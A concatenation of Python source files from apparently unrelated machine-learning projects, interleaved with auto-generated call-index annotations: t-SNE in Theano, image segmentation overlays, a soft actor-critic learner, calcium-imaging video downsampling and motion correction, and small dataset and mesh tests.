momentum * Yv - lr * grad_Y)]'}), '([], None, givens={X: X_shared, sigma: sigma_shared, Y:\n Y_shared, Yv: Yv_shared, Adj: Adj_shared, lr: lr_shared, momentum:\n momentum_shared, l_kl: l_kl_shared, l_e: l_e_shared, l_c: l_c_shared,\n l_r: l_r_shared}, updates=[(Yv_shared, momentum * Yv - lr * grad_Y)])\n', (9701, 9975), False, 'import theano\n'), ((10202, 10297), 'theano.function', 'theano.function', (['[]', '[]'], {'givens': '{Y: Y_shared, Yv: Yv_shared}', 'updates': '[(Y_shared, Y + Yv)]'}), '([], [], givens={Y: Y_shared, Yv: Yv_shared}, updates=[(\n Y_shared, Y + Yv)])\n', (10217, 10297), False, 'import theano\n'), ((10421, 10597), 'theano.function', 'theano.function', (['[]', 'cost'], {'givens': '{X: X_shared, sigma: sigma_shared, Y: Y_shared, Adj: Adj_shared, l_kl:\n l_kl_shared, l_e: l_e_shared, l_c: l_c_shared, l_r: l_r_shared}'}), '([], cost, givens={X: X_shared, sigma: sigma_shared, Y:\n Y_shared, Adj: Adj_shared, l_kl: l_kl_shared, l_e: l_e_shared, l_c:\n l_c_shared, l_r: l_r_shared})\n', (10436, 10597), False, 'import theano\n'), ((10784, 10961), 'theano.function', 'theano.function', (['[]', 'costs'], {'givens': '{X: X_shared, sigma: sigma_shared, Y: Y_shared, Adj: Adj_shared, l_kl:\n l_kl_shared, l_e: l_e_shared, l_c: l_c_shared, l_r: l_r_shared}'}), '([], costs, givens={X: X_shared, sigma: sigma_shared, Y:\n Y_shared, Adj: Adj_shared, l_kl: l_kl_shared, l_e: l_e_shared, l_c:\n l_c_shared, l_r: l_r_shared})\n', (10799, 10961), False, 'import theano\n'), ((13438, 13470), 'sklearn.utils.check_random_state', 'check_random_state', (['random_state'], {}), '(random_state)\n', (13456, 13470), False, 'from sklearn.utils import check_random_state\n'), ((2991, 3009), 'theano.tensor.exp', 'T.exp', (['(-sqdistance)'], {}), '(-sqdistance)\n', (2996, 3009), True, 'import theano.tensor as T\n'), ((3174, 3184), 'theano.tensor.sum', 'T.sum', (['Adj'], {}), '(Adj)\n', (3179, 3184), True, 'import theano.tensor as T\n'), ((3751, 3772), 'theano.tensor.sum', 'T.sum', (['(Y ** 2)'], {'axis': '(1)'}), '(Y ** 2, axis=1)\n', (3756, 3772), True, 'import theano.tensor as T\n'), ((4622, 4654), 'numpy.full', 'np.full', (['N', 'np.inf'], {'dtype': 'floath'}), '(N, np.inf, dtype=floath)\n', (4629, 4654), True, 'import numpy as np\n'), ((4745, 4766), 'theano.tensor.lt', 'T.lt', (['entropy', 'target'], {}), '(entropy, target)\n', (4749, 4766), True, 'import theano.tensor as T\n'), ((4804, 4825), 'theano.tensor.gt', 'T.gt', (['entropy', 'target'], {}), '(entropy, target)\n', (4808, 4825), True, 'import theano.tensor as T\n'), ((5183, 5198), 'theano.tensor.isinf', 'T.isinf', (['sigmax'], {}), '(sigmax)\n', (5190, 5198), True, 'import theano.tensor as T\n'), ((6851, 6895), 'numpy.random.normal', 'np.random.normal', (['(0)', '(max_dist * magnitude)', '(2)'], {}), '(0, max_dist * magnitude, 2)\n', (6867, 6895), True, 'import numpy as np\n'), ((9339, 9379), 'numpy.zeros', 'np.zeros', (['(N, output_dims)'], {'dtype': 'floath'}), '((N, output_dims), dtype=floath)\n', (9347, 9379), True, 'import numpy as np\n'), ((13521, 13548), 'numpy.asarray', 'np.asarray', (['X'], {'dtype': 'floath'}), '(X, dtype=floath)\n', (13531, 13548), True, 'import numpy as np\n'), ((13583, 13607), 'numpy.ones', 'np.ones', (['N'], {'dtype': 'floath'}), '(N, dtype=floath)\n', (13590, 13607), True, 'import numpy as np\n'), ((13727, 13754), 'numpy.asarray', 'np.asarray', (['Y'], {'dtype': 'floath'}), '(Y, dtype=floath)\n', (13737, 13754), True, 'import numpy as np\n'), ((2297, 2326), 'theano.tensor.sum', 'T.sum', (['esqdistance_zd'], {'axis': '(1)'}), '(esqdistance_zd, axis=1)\n', (2302, 2326), True, 'import theano.tensor as T\n'), ((3539, 3567), 'theano.tensor.log', 'T.log', (['(p_ij_safe / q_ij_safe)'], {}), '(p_ij_safe / q_ij_safe)\n', (3544, 3567), True, 'import theano.tensor as T\n'), ((4555, 4571), 'numpy.sqrt', 'np.sqrt', (['epsilon'], {}), '(epsilon)\n', (4562, 4571), True, 'import numpy as np\n'), ((5856, 5865), 'numpy.exp', 'np.exp', (['e'], {}), '(e)\n', (5862, 5865), True, 'import numpy as np\n'), ((6292, 6377), 'math.ceil', 'math.ceil', (['(1 / 2.0 * (-(-8 * k + 4 * n ** 2 - 4 * n - 7) ** 0.5 + 2 * n - 1) - 1)'], {}), '(1 / 2.0 * (-(-8 * k + 4 * n ** 2 - 4 * n - 7) ** 0.5 + 2 * n - 1) - 1\n )\n', (6301, 6377), False, 'import math\n'), ((4443, 4451), 'theano.tensor.log', 'T.log', (['P'], {}), '(P)\n', (4448, 4451), True, 'import theano.tensor as T\n'), ((6760, 6780), 'numpy.finfo', 'np.finfo', (['np.float32'], {}), '(np.float32)\n', (6768, 6780), True, 'import numpy as np\n')] |
import io
from PIL import Image, ImageDraw, ImageFont
import tensorflow as tf
import numpy as np
from matplotlib import cm
from matplotlib.colors import ListedColormap
import pdb
default_color = 'blue'
highlight_color = 'red'
class SemanticSegmentationOverlay:
def __init__(self, args):
self.segmap_key = args.segmap_key
self.segmap_format_key = args.segmap_format_key
self.segmap_colormap_file = args.segmap_colormap_file
self.font = ImageFont.truetype("./fonts/OpenSans-Regular.ttf", 12)
self.segmap_raw_divisor_key = args.segmap_raw_divisor_key
if self.segmap_colormap_file is None:
self.colormap_function = cm.gist_earth
else:
self.colormap_function = self.load_colormap()
def apply_overlay(self, image_bytes, example):
"""Apply segmentation overlay over input image.
Args:
image_bytes: JPEG image.
feature: TF Record Feature
Returns:
image_bytes_with_overlay: JPEG image with segmentation overlay.
"""
img = Image.open(io.BytesIO(image_bytes))
draw = ImageDraw.Draw(img)
width, height = img.size
segmap = self.get_segmap(example, height, width)
segmap = self.apply_colormap(segmap)
segmap_img = Image.fromarray(segmap).convert('RGB')
out_img = Image.blend(img, segmap_img, 0.5)
with io.BytesIO() as output:
out_img.save(output, format="JPEG")
image_bytes_with_overlay = output.getvalue()
return image_bytes_with_overlay
def load_colormap(self):
colormap = np.zeros((256, 3), dtype=np.uint8)
with open(self.segmap_colormap_file, 'rt') as f:
for i, line in enumerate(f):
colormap[i] = np.fromstring(line, sep=",", dtype=int)
listed_colormap = ListedColormap(colormap/255)
return listed_colormap
def apply_colormap(self, segmap):
cm_array = self.colormap_function(segmap/255)
return np.uint8(cm_array*255)
def get_segmap(self, example, im_height, im_width):
""" From a TF Record Feature, get the image/class label.
Args:
feature: TF Record Feature
Returns:
mask (numpy.ndarray): image segmentation mask (0-255)
"""
segmap_format = example.features.feature[self.segmap_format_key].bytes_list.value[0].decode("utf-8")
example = example.SerializeToString()
string_feature = tf.io.FixedLenFeature((), tf.string)
keys_to_features = {self.segmap_key : string_feature, self.segmap_format_key: string_feature}
parsed_tensors = tf.io.parse_single_example(
example, features=keys_to_features)
label_shape = tf.stack([im_height,
im_width, 1
])
if segmap_format == "raw":
flattened_label = tf.io.decode_raw(
parsed_tensors[self.segmap_key], out_type=tf.int32)
mask = tf.reshape(flattened_label, label_shape).numpy()[:,:,0] // self.segmap_raw_divisor_key
elif segmap_format == "png":
label = tf.io.decode_image(parsed_tensors[self.segmap_key], channels=1)
mask = label.numpy()[:,:,0]
else:
raise ValueError("Unknown format: "+segmap_format)
return mask
| [
"numpy.uint8",
"PIL.Image.fromarray",
"tensorflow.io.decode_image",
"tensorflow.io.parse_single_example",
"PIL.Image.blend",
"io.BytesIO",
"PIL.ImageFont.truetype",
"matplotlib.colors.ListedColormap",
"PIL.ImageDraw.Draw",
"numpy.zeros",
"tensorflow.io.FixedLenFeature",
"tensorflow.io.decode_r... | [((459, 513), 'PIL.ImageFont.truetype', 'ImageFont.truetype', (['"""./fonts/OpenSans-Regular.ttf"""', '(12)'], {}), "('./fonts/OpenSans-Regular.ttf', 12)\n", (477, 513), False, 'from PIL import Image, ImageDraw, ImageFont\n'), ((1067, 1086), 'PIL.ImageDraw.Draw', 'ImageDraw.Draw', (['img'], {}), '(img)\n', (1081, 1086), False, 'from PIL import Image, ImageDraw, ImageFont\n'), ((1288, 1321), 'PIL.Image.blend', 'Image.blend', (['img', 'segmap_img', '(0.5)'], {}), '(img, segmap_img, 0.5)\n', (1299, 1321), False, 'from PIL import Image, ImageDraw, ImageFont\n'), ((1533, 1567), 'numpy.zeros', 'np.zeros', (['(256, 3)'], {'dtype': 'np.uint8'}), '((256, 3), dtype=np.uint8)\n', (1541, 1567), True, 'import numpy as np\n'), ((1748, 1778), 'matplotlib.colors.ListedColormap', 'ListedColormap', (['(colormap / 255)'], {}), '(colormap / 255)\n', (1762, 1778), False, 'from matplotlib.colors import ListedColormap\n'), ((1908, 1932), 'numpy.uint8', 'np.uint8', (['(cm_array * 255)'], {}), '(cm_array * 255)\n', (1916, 1932), True, 'import numpy as np\n'), ((2350, 2386), 'tensorflow.io.FixedLenFeature', 'tf.io.FixedLenFeature', (['()', 'tf.string'], {}), '((), tf.string)\n', (2371, 2386), True, 'import tensorflow as tf\n'), ((2507, 2569), 'tensorflow.io.parse_single_example', 'tf.io.parse_single_example', (['example'], {'features': 'keys_to_features'}), '(example, features=keys_to_features)\n', (2533, 2569), True, 'import tensorflow as tf\n'), ((2598, 2632), 'tensorflow.stack', 'tf.stack', (['[im_height, im_width, 1]'], {}), '([im_height, im_width, 1])\n', (2606, 2632), True, 'import tensorflow as tf\n'), ((1031, 1054), 'io.BytesIO', 'io.BytesIO', (['image_bytes'], {}), '(image_bytes)\n', (1041, 1054), False, 'import io\n'), ((1333, 1345), 'io.BytesIO', 'io.BytesIO', ([], {}), '()\n', (1343, 1345), False, 'import io\n'), ((2706, 2774), 'tensorflow.io.decode_raw', 'tf.io.decode_raw', (['parsed_tensors[self.segmap_key]'], {'out_type': 'tf.int32'}), '(parsed_tensors[self.segmap_key], out_type=tf.int32)\n', (2722, 2774), True, 'import tensorflow as tf\n'), ((1229, 1252), 'PIL.Image.fromarray', 'Image.fromarray', (['segmap'], {}), '(segmap)\n', (1244, 1252), False, 'from PIL import Image, ImageDraw, ImageFont\n'), ((1684, 1723), 'numpy.fromstring', 'np.fromstring', (['line'], {'sep': '""","""', 'dtype': 'int'}), "(line, sep=',', dtype=int)\n", (1697, 1723), True, 'import numpy as np\n'), ((2933, 2996), 'tensorflow.io.decode_image', 'tf.io.decode_image', (['parsed_tensors[self.segmap_key]'], {'channels': '(1)'}), '(parsed_tensors[self.segmap_key], channels=1)\n', (2951, 2996), True, 'import tensorflow as tf\n'), ((2799, 2839), 'tensorflow.reshape', 'tf.reshape', (['flattened_label', 'label_shape'], {}), '(flattened_label, label_shape)\n', (2809, 2839), True, 'import tensorflow as tf\n')] |
import copy
import torch as th
from torch.optim import Adam
import torch.nn.functional as F
from torch.nn.utils import clip_grad_norm_
class SACLearner:
def __init__(self, mac, args):
self.args = args
self.mac = mac
self.params = list(mac.parameters())
self.learn_cnt= 0
self.optimiser = Adam(self.params, lr=args.lr)
self.clip_grad_param = 1
# a little wasteful to deepcopy (e.g. duplicates action selector), but should work for any MAC
self.target_mac = copy.deepcopy(mac)
self.target_param = list(self.target_mac.parameters())
self.last_target_update_episode = 0
self.tau = self.args.tau
self.gpu_enable = True
def soft_update(self, local_model , target_model):
for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):
target_param.data.copy_(self.tau*local_param.data + (1.0-self.tau)*target_param.data)
def _update_targets(self):
for target_param, local_param in zip(self.target_mac.parameters(), self.mac.parameters()):
target_param.data.copy_(self.tau*local_param.data + (1.0-self.tau)*target_param.data)
def train(self, batch):
# Get the relevant quantities
obs = batch['obs']
feat = batch['feat']
avail = batch['avail']
action_list = batch['action']
reward_list = batch['reward']
next_obs = batch['next_obs']
next_feat = batch['next_feat']
mask_list = 1 - batch['done']
next_avail = batch['next_avail']
y_list = [0]
obs = th.FloatTensor(obs)
feat = th.FloatTensor(feat)
avail = th.FloatTensor(avail)
a = th.LongTensor(action_list)#batch.action))
rew = th.FloatTensor(reward_list)##batch.reward))
rew = rew.view(-1)#, 1)
mask = th.LongTensor(mask_list)#batch.mask))
mask = mask.view(-1)#, 1)
next_obs = th.FloatTensor(next_obs)
next_feat = th.FloatTensor(next_feat)
next_avail = th.FloatTensor(next_avail)
ind = th.arange(a.shape[0])
if self.gpu_enable:
obs = obs.cuda()
feat = feat.cuda()
avail = avail.cuda()
a = a.cuda()
rew = rew.cuda()
mask = mask.cuda()
next_obs = next_obs.cuda()
next_feat = next_feat.cuda()
next_avail = next_avail.cuda()
ind = ind.cuda()
# Calculate estimated Q-Values
mac_out, _ = self.mac.forward([[obs, feat], avail])
# Pick the Q-Values for the actions taken by each agent
chosen_action_qvals = mac_out[ind, a] # Remove the last dim
target_mac_out = self.target_mac.forward([[next_obs, next_feat], next_avail])[0]
# ---------------------------- update actor ---------------------------- #
current_alpha = copy.deepcopy(self.mac.agent.alpha)
_, action_probs, log_pis = self.mac.get_act_probs([[obs, feat], avail])
q1 = self.mac.agent.critic1([obs, feat])
V1 = (action_probs.cuda() * q1.cuda()).sum(1)
q2 = self.mac.agent.critic2([obs, feat])
V2 = (action_probs.cuda() * q2.cuda()).sum(1)
min_Q = action_probs.cuda() * th.min(q1,q2)
actor_loss = (self.mac.agent.alpha.cuda() * log_pis.cuda() - min_Q).sum(1).mean()
self.mac.agent.actor_optimizer.zero_grad()
actor_loss.backward(retain_graph=True)
self.mac.agent.actor_optimizer.step()
# Compute alpha loss
entropy = (log_pis * action_probs).sum(1)
alpha_loss = - (self.mac.agent.log_alpha.exp() * (entropy.cpu() + self.mac.agent.target_entropy).detach().cpu()).mean()
self.mac.agent.alpha_optimizer.zero_grad()
alpha_loss.backward(retain_graph=True)
self.mac.agent.alpha_optimizer.step()
self.mac.agent.alpha = self.mac.agent.log_alpha.exp().detach()
# ---------------------------- update critic ---------------------------- #
# Get predicted next-state actions and Q values from target models
with th.no_grad():
idx = th.eq(mask, 1)
Q_targets = rew
_, action_probs_next, log_pis_next = self.mac.get_act_probs\
([[next_obs[idx],next_feat[idx]],None])
Q_target1_next = self.mac.agent.critic1_target([next_obs[idx],next_feat[idx]])
Q_target2_next = self.mac.agent.critic2_target([next_obs[idx],next_feat[idx]])
V1_next = (action_probs_next.cuda() * Q_target1_next).sum(1)
V2_next = (action_probs_next.cuda() * Q_target2_next).sum(1)
V_target_next = th.min(V1_next,V2_next) - (self.mac.agent.alpha.cuda()* log_pis_next.cuda()).sum(1)
# Compute Q targets for current states (y_i)
Q_targets[idx] = rew[idx] + (self.args.gamma * V_target_next)
# Compute critic loss
critic1_loss = 0.5 * F.mse_loss(V1, Q_targets)
critic2_loss = 0.5 * F.mse_loss(V2, Q_targets)
# Update critics
# critic 1
self.mac.agent.critic1_optimizer.zero_grad()
critic1_loss.backward(retain_graph=True)
clip_grad_norm_(self.mac.agent.critic1.parameters(), self.clip_grad_param)
self.mac.agent.critic1_optimizer.step()
# critic 2
self.mac.agent.critic2_optimizer.zero_grad()
critic2_loss.backward()
clip_grad_norm_(self.mac.agent.critic2.parameters(), self.clip_grad_param)
self.mac.agent.critic2_optimizer.step()
self.learn_cnt += 1
if self.learn_cnt / self.args.target_update_interval >= 1.0:
self._update_targets()
self.soft_update(self.mac.agent.critic1, self.mac.agent.critic1_target)
self.soft_update(self.mac.agent.critic2, self.mac.agent.critic2_target)
self.learn_cnt = 0
return {
'actor_loss': actor_loss.item(),
'alpha_loss': alpha_loss.item(),
'critic1_loss': critic1_loss.item(),
'critic2_loss': critic2_loss.item()
}
def cuda(self):
self.mac.cuda()
self.target_mac.cuda()
def save_models(self, path):
self.mac.save_models(path)
th.save(self.optimiser.state_dict(), "{}/opt.th".format(path))
def load_models(self, path):
self.mac.load_models(path)
# Not quite right but I don't want to save target networks
self.target_mac.load_models(path)
self.optimiser.load_state_dict(th.load("{}/opt.th".format(path), map_location=lambda storage, loc: storage))
| [
"torch.optim.Adam",
"torch.nn.functional.mse_loss",
"torch.LongTensor",
"torch.min",
"torch.eq",
"copy.deepcopy",
"torch.no_grad",
"torch.FloatTensor",
"torch.arange"
] | [((334, 363), 'torch.optim.Adam', 'Adam', (['self.params'], {'lr': 'args.lr'}), '(self.params, lr=args.lr)\n', (338, 363), False, 'from torch.optim import Adam\n'), ((527, 545), 'copy.deepcopy', 'copy.deepcopy', (['mac'], {}), '(mac)\n', (540, 545), False, 'import copy\n'), ((1628, 1647), 'torch.FloatTensor', 'th.FloatTensor', (['obs'], {}), '(obs)\n', (1642, 1647), True, 'import torch as th\n'), ((1663, 1683), 'torch.FloatTensor', 'th.FloatTensor', (['feat'], {}), '(feat)\n', (1677, 1683), True, 'import torch as th\n'), ((1700, 1721), 'torch.FloatTensor', 'th.FloatTensor', (['avail'], {}), '(avail)\n', (1714, 1721), True, 'import torch as th\n'), ((1734, 1760), 'torch.LongTensor', 'th.LongTensor', (['action_list'], {}), '(action_list)\n', (1747, 1760), True, 'import torch as th\n'), ((1790, 1817), 'torch.FloatTensor', 'th.FloatTensor', (['reward_list'], {}), '(reward_list)\n', (1804, 1817), True, 'import torch as th\n'), ((1881, 1905), 'torch.LongTensor', 'th.LongTensor', (['mask_list'], {}), '(mask_list)\n', (1894, 1905), True, 'import torch as th\n'), ((1972, 1996), 'torch.FloatTensor', 'th.FloatTensor', (['next_obs'], {}), '(next_obs)\n', (1986, 1996), True, 'import torch as th\n'), ((2017, 2042), 'torch.FloatTensor', 'th.FloatTensor', (['next_feat'], {}), '(next_feat)\n', (2031, 2042), True, 'import torch as th\n'), ((2064, 2090), 'torch.FloatTensor', 'th.FloatTensor', (['next_avail'], {}), '(next_avail)\n', (2078, 2090), True, 'import torch as th\n'), ((2106, 2127), 'torch.arange', 'th.arange', (['a.shape[0]'], {}), '(a.shape[0])\n', (2115, 2127), True, 'import torch as th\n'), ((2919, 2954), 'copy.deepcopy', 'copy.deepcopy', (['self.mac.agent.alpha'], {}), '(self.mac.agent.alpha)\n', (2932, 2954), False, 'import copy\n'), ((3282, 3296), 'torch.min', 'th.min', (['q1', 'q2'], {}), '(q1, q2)\n', (3288, 3296), True, 'import torch as th\n'), ((4153, 4165), 'torch.no_grad', 'th.no_grad', ([], {}), '()\n', (4163, 4165), True, 'import torch as th\n'), ((4185, 4199), 'torch.eq', 'th.eq', (['mask', '(1)'], {}), '(mask, 1)\n', (4190, 4199), True, 'import torch as th\n'), ((4989, 5014), 'torch.nn.functional.mse_loss', 'F.mse_loss', (['V1', 'Q_targets'], {}), '(V1, Q_targets)\n', (4999, 5014), True, 'import torch.nn.functional as F\n'), ((5044, 5069), 'torch.nn.functional.mse_loss', 'F.mse_loss', (['V2', 'Q_targets'], {}), '(V2, Q_targets)\n', (5054, 5069), True, 'import torch.nn.functional as F\n'), ((4714, 4738), 'torch.min', 'th.min', (['V1_next', 'V2_next'], {}), '(V1_next, V2_next)\n', (4720, 4738), True, 'import torch as th\n')] |
'''
Authors: <NAME> and <NAME>
Date: July 10, 2017
Pre-cnmf-e processing of videos in chunks:
- Downsampling
- Motion Correction
'''
from os import path, system
import pims
import av
import numpy as np
import math
from tqdm import tqdm
from skimage import img_as_uint
from motion import align_video
import skimage.io
import skimage.filters
from skimage.morphology import square
import h5py as hd
def process_chunk(filename, start, stop, reference, save_name, xlims = None, ylims = None, fps= 20, ds_factor=4, correct_motion=True, thresh=1.8, cutoff=0.05, clean_pixels=False, pixel_thresh=1.1, format='tiff'):
'''
Process one chunk of a video read in from pims and save as .tiff
Input:
- filename: video path
- start: start frame
- stop: stop frame
- reference: reference frame
- xlims: tuple of 2 ints, crop limits on x-axis
- ylims: tuple of 2 ints, crop limits on y-axis
- fps: int, output frames per second
- ds_factor: int, downsample factor, default=4
- correct_motion: bool, correct motion, default=True
- thresh: flt, threshold for motion correction, default=1.0
- cutoff: flt, cutoff for motion correction, default=0.05
- format: str, format to save chunk as (tiff, avi, hdf5), default='tiff'
Output:
- None, saves processed chunk as .tiff or .avi
'''
chunk = stop/(stop-start)
video = pims.ImageIOReader(filename)
frame_rate = fps # video.frame_rate
video_chunk = video[start:stop]
print("Processing frames {} to {} of {}".format(start, stop, len(video)))
video_chunk_ds = downsample(video_chunk, ds_factor, xlims, ylims)
#in order to have 01, 02 for file sorting and concatenation of chunks
if chunk < 10:
chunk = '0' + str(chunk)
if clean_pixels:
remove_dead_pixels(video_chunk_ds, pixel_thresh)
if correct_motion:
video_chunk_ds = align_video(video_chunk_ds, reference, thresh, cutoff)
if format == 'tiff':
skimage.io.imsave(save_name + '_temp_{}.tiff'.format(chunk), img_as_uint(video_chunk_ds/2**16))
elif format == 'avi':
save_to_avi(video_chunk_ds, fps = frame_rate / ds_factor, filename = save_name + '_temp_{}.avi'.format(chunk))
elif format == 'hdf5':
save_to_hdf(video_chunk_ds, filename = save_name + '_temp_{}.hdf5'.format(chunk))
def downsample(vid, ds_factor, xlims=None, ylims=None):
'''
Downsample video by ds_factor.
If xlims and ylims are not None, crop video to these limits also
Input:
- vid: numpy array, video
- ds_factor: int, downsample factor
- xlims (optional): tuple of ints, x-index of crop limits
- ylims (optional): tuple of ints: y-index of crop limits
Output:
- vid_ds: numpy array, downsampled video
'''
dims = vid[0].shape
if xlims is not None:
xs, xe = xlims
else:
xs = 0
xe = dims[1] - 1
if ylims is not None:
ys, ye = ylims
else:
ys = 0
ye = dims[0] - 1
dims = vid[0].shape
vid_ds = np.zeros((int(len(vid)/ds_factor), ye-ys, xe-xs))
frame_ds = 0
for frame in tqdm(range(0, len(vid), ds_factor), desc='Downsampling'):
if frame + ds_factor <= len(vid):
stack = np.array(vid[frame:frame+ds_factor])[:,ys:ye,xs:xe,0]
vid_ds[frame_ds, :, :] = np.round(np.mean(stack, axis=0))
frame_ds += 1
else:
continue
return vid_ds
def get_crop_lims(vid, crop_thresh=40):
'''
Find x,y limits where the mean fluorescence is always above a defined threshold value
Input:
- vid: numpy array, video
- crop_thresh: int, fluorescence threshold to find x,y limits to crop to
Output:
- xlims: tuple of 2 ints, x-axis pixels to crop to
- ylims: tuple of 2 ints, y-axis pixels to crop to
'''
dims = vid[0].shape
xs = np.inf
xe = 0
ys = np.inf
ye = 0
y = np.arange(dims[0])
x = np.arange(dims[1])
for frame in vid:
frame = np.array(frame)[:,:,0]
xf = frame.mean(axis=0)
yf = frame.mean(axis=1)
x_thresh = x[xf>=crop_thresh]
y_thresh = y[yf>=crop_thresh]
if x_thresh[0] < xs:
xs = x_thresh[0]
if x_thresh[-1] > xe:
xe = x_thresh[-1]
if y_thresh[0] < ys:
ys = y_thresh[0]
if y_thresh[-1] > ye:
ye = y_thresh[-1]
return (xs, xe), (ys, ye)
def remove_dead_pixels(vid, thresh=1.1):
for frame in tqdm(range(vid.shape[0]), desc='Removing Dead Pixels'):
med = skimage.filters.median(vid[frame, :, :], square(10)).ravel()
img = vid[frame, :, :].ravel()
img[img>thresh*med] = med[img>thresh*med]
vid[frame, :, :] = img.reshape(vid.shape[1], vid.shape[2])
def save_to_avi(vid, fps, filename):
total_frames, height, width = vid.shape
container = av.open(filename, 'w')
stream = container.add_stream('rawvideo', rate=fps)
stream.height = height
stream.width = width
stream.pix_fmt = 'bgr24'
for frame in vid:
# Convert frame to RGB uint8 values
frame = frame.astype('uint8')
frame = np.repeat(np.reshape(frame, newshape=(frame.shape[0], frame.shape[1], 1)), repeats=3, axis=2)
# Encode frame into stream
frame = av.VideoFrame.from_ndarray(frame, format='bgr24')
for packet in stream.encode(frame):
container.mux(packet)
# Flush Stream
for packet in stream.encode():
container.mux(packet)
# Close file
container.close()
def save_to_hdf(Y, filename):
# Author: <NAME>
# Y is a numpy array of dimensions (T_dim, y_dim, x_dim)
# FramesxHxW
dirname = path.dirname(filename)
basename = path.basename(filename)
filename_new = path.splitext(filename)[0] + '.hdf5'
if path.exists(filename_new):
system('rm %s'%filename_new)
file = hd.File(filename_new)
tdim, xdim, ydim = Y.shape
movie = file.create_dataset('original', shape = (tdim, xdim*ydim), chunks = True)
file.attrs['folder'] = dirname
file.attrs['filename'] = basename
file['original'].attrs['duration'] = tdim
file['original'].attrs['dims'] = (ydim, xdim) # 2D np.arrays are (row X cols) --> (ydim X xdim)
movie[:] = Y.reshape((tdim, xdim*ydim))
return file
| [
"os.path.exists",
"numpy.mean",
"numpy.reshape",
"skimage.img_as_uint",
"skimage.morphology.square",
"os.path.splitext",
"h5py.File",
"av.VideoFrame.from_ndarray",
"os.path.dirname",
"av.open",
"numpy.array",
"os.path.basename",
"pims.ImageIOReader",
"motion.align_video",
"os.system",
... | [((1431, 1459), 'pims.ImageIOReader', 'pims.ImageIOReader', (['filename'], {}), '(filename)\n', (1449, 1459), False, 'import pims\n'), ((4013, 4031), 'numpy.arange', 'np.arange', (['dims[0]'], {}), '(dims[0])\n', (4022, 4031), True, 'import numpy as np\n'), ((4040, 4058), 'numpy.arange', 'np.arange', (['dims[1]'], {}), '(dims[1])\n', (4049, 4058), True, 'import numpy as np\n'), ((4985, 5007), 'av.open', 'av.open', (['filename', '"""w"""'], {}), "(filename, 'w')\n", (4992, 5007), False, 'import av\n'), ((5812, 5834), 'os.path.dirname', 'path.dirname', (['filename'], {}), '(filename)\n', (5824, 5834), False, 'from os import path, system\n'), ((5850, 5873), 'os.path.basename', 'path.basename', (['filename'], {}), '(filename)\n', (5863, 5873), False, 'from os import path, system\n'), ((5938, 5963), 'os.path.exists', 'path.exists', (['filename_new'], {}), '(filename_new)\n', (5949, 5963), False, 'from os import path, system\n'), ((6014, 6035), 'h5py.File', 'hd.File', (['filename_new'], {}), '(filename_new)\n', (6021, 6035), True, 'import h5py as hd\n'), ((1940, 1994), 'motion.align_video', 'align_video', (['video_chunk_ds', 'reference', 'thresh', 'cutoff'], {}), '(video_chunk_ds, reference, thresh, cutoff)\n', (1951, 1994), False, 'from motion import align_video\n'), ((5413, 5462), 'av.VideoFrame.from_ndarray', 'av.VideoFrame.from_ndarray', (['frame'], {'format': '"""bgr24"""'}), "(frame, format='bgr24')\n", (5439, 5462), False, 'import av\n'), ((5973, 6003), 'os.system', 'system', (["('rm %s' % filename_new)"], {}), "('rm %s' % filename_new)\n", (5979, 6003), False, 'from os import path, system\n'), ((2090, 2127), 'skimage.img_as_uint', 'img_as_uint', (['(video_chunk_ds / 2 ** 16)'], {}), '(video_chunk_ds / 2 ** 16)\n', (2101, 2127), False, 'from skimage import img_as_uint\n'), ((4098, 4113), 'numpy.array', 'np.array', (['frame'], {}), '(frame)\n', (4106, 4113), True, 'import numpy as np\n'), ((5276, 5339), 'numpy.reshape', 'np.reshape', (['frame'], {'newshape': '(frame.shape[0], frame.shape[1], 1)'}), '(frame, newshape=(frame.shape[0], frame.shape[1], 1))\n', (5286, 5339), True, 'import numpy as np\n'), ((5893, 5916), 'os.path.splitext', 'path.splitext', (['filename'], {}), '(filename)\n', (5906, 5916), False, 'from os import path, system\n'), ((3317, 3355), 'numpy.array', 'np.array', (['vid[frame:frame + ds_factor]'], {}), '(vid[frame:frame + ds_factor])\n', (3325, 3355), True, 'import numpy as np\n'), ((3417, 3439), 'numpy.mean', 'np.mean', (['stack'], {'axis': '(0)'}), '(stack, axis=0)\n', (3424, 3439), True, 'import numpy as np\n'), ((4709, 4719), 'skimage.morphology.square', 'square', (['(10)'], {}), '(10)\n', (4715, 4719), False, 'from skimage.morphology import square\n')] |
import numpy as np
import pytest
import pytoolkit as tk
def test_load_voc_od_split(data_dir):
ds = tk.datasets.load_voc_od_split(data_dir / "od", split="train")
assert len(ds) == 3
assert tuple(ds.metadata["class_names"]) == ("~", "〇")
ann = ds.labels[0]
assert ann.path == (data_dir / "od" / "JPEGImages" / "無題.jpg")
assert ann.width == 768
assert ann.height == 614
assert len(ann.classes) == 1
assert ann.classes[0] == 0
assert (ann.difficults == np.array([False])).all()
assert ann.bboxes[0] == pytest.approx(
np.array([203 - 1, 255 - 1, 601 - 1, 355 - 1]) / [768, 614, 768, 614]
)
| [
"numpy.array",
"pytoolkit.datasets.load_voc_od_split"
] | [((106, 167), 'pytoolkit.datasets.load_voc_od_split', 'tk.datasets.load_voc_od_split', (["(data_dir / 'od')"], {'split': '"""train"""'}), "(data_dir / 'od', split='train')\n", (135, 167), True, 'import pytoolkit as tk\n'), ((493, 510), 'numpy.array', 'np.array', (['[False]'], {}), '([False])\n', (501, 510), True, 'import numpy as np\n'), ((569, 615), 'numpy.array', 'np.array', (['[203 - 1, 255 - 1, 601 - 1, 355 - 1]'], {}), '([203 - 1, 255 - 1, 601 - 1, 355 - 1])\n', (577, 615), True, 'import numpy as np\n')] |
try:
from . import generic as g
except BaseException:
import generic as g
class AdjacencyTest(g.unittest.TestCase):
def test_radius(self):
for radius in [0.1, 1.0, 3.1459, 29.20]:
m = g.trimesh.creation.cylinder(
radius=radius, height=radius * 10)
# remove the cylinder cap
signs = (g.np.sign(m.vertices[:, 2]) < 0)[m.faces]
not_cap = ~g.np.logical_or(
signs.all(axis=1), ~signs.any(axis=1))
m.update_faces(not_cap)
# compare the calculated radius
radii = m.face_adjacency_radius
radii = radii[g.np.isfinite(radii)]
assert g.np.allclose(radii, radius, atol=radius / 100)
if __name__ == '__main__':
g.trimesh.util.attach_to_log()
g.unittest.main()
| [
"generic.trimesh.util.attach_to_log",
"generic.np.sign",
"generic.trimesh.creation.cylinder",
"generic.np.allclose",
"generic.unittest.main",
"generic.np.isfinite"
